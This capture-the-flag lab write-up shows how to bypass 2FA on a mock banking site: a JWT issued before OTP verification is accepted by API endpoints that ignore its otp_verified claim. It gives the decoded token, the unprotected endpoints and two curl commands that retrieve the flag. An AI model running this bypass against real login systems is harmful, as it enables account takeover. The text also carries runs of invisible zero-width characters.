← Back to Writeups
CUSTOMMediumWeb

Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT

XESXOR9/10/20262 min read
#web#custom#medium#api_endpoint_enumeration#jwt_analysis#missing_authorization_check#pre_authentication_token_abuse#linux

Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_endpoint_enumeration, jwt_analysis, missing_authorization_check, pre_authentication_token_abuse

Summary

Task: banking platform with 2FA that issues JWT before OTP verification, containing otp_verified:false claim. Solution: use pre-authentication JWT to access API endpoints that don't validate the otp_verified claim, retrieving flag from account settings.

Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT — Hackadvisor

Description

VaultPay is a digital banking platform that lets users manage accounts, view balances, transfer funds, and configure security settings. The platform enforces two-factor authentication via one-time passwords sent to the user's registered phone number.

After entering your password, you must verify your identity with a 6-digit OTP code before accessing your dashboard and account features. The platform promises bank-grade security with 256-bit encryption and mandatory 2FA on every login.

Your goal is to find the secret flag hidden somewhere in the application.

Credentials provided: testuser / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A banking platform with mandatory 2FA via SMS OTP. The goal is to bypass the 2FA protection and find a hidden flag.

Analysis

  1. Initial login flow analysis:

    • Logged in with testuser / password123
    • Server returns 302 redirect to /verify-otp
    • Critical finding: JWT cookie is set BEFORE OTP verification completes
  2. JWT token inspection:

    Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ1c2VyQHRlc3QuY29tIiwiZnVsbF9uYW1lIjoiQWxleCBNb3JnYW4iLCJvdHBfdmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE3NzczMTczMDAsImV4cCI6MTc3NzMyMDkwMH0...
    

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Decoded JWT payload:

    json
    {
      "user_id": 1,
      "username": "testuser",
      "email": "user@test.com",
      "full_name": "Alex Morgan",
      "otp_verified": false,
      "iat": 1777317300,
      "exp": 1777320900
    }
  2. Key vulnerability: The JWT contains otp_verified: false indicating incomplete authentication, but API endpoints don't validate this claim. The token is issued prematurely before 2FA completion.

  3. API endpoint enumeration:

    • Frontend pages (/dashboard, /settings) correctly redirect to /verify-otp
    • API endpoints do NOT check otp_verified:
      • /api/dashboard — returns user data ✓
      • /api/transactions — returns transaction history ✓
      • /api/notifications — returns notifications ✓
      • /api/accounts/settings — returns account settings including security info ✓ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Used the pre-authentication JWT (with otp_verified: false) to directly access API endpoints:

bash
# Extract JWT from login response
curl -s -c cookies.txt -X POST "https://target/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"password123"}'

# Access account settings with pre-auth token
curl -s -b cookies.txt "https://target/api/accounts/settings"

Response from /api/accounts/settings:

json
{
  "account": {
    "username": "testuser",
    "email": "user@test.com",
    "full_name": "Alex Morgan",
    "phone": "+1-555-***-0142",
    "account_number": "VP-2847103956"
  },
  "security": {
    "two_factor_enabled": true,
    "two_factor_method": "sms",
    "recovery_key": "FLAG{REDACTED}",
    "session_timeout_minutes": 30
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag was stored in the security.recovery_key field, accessible without completing 2FA verification. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍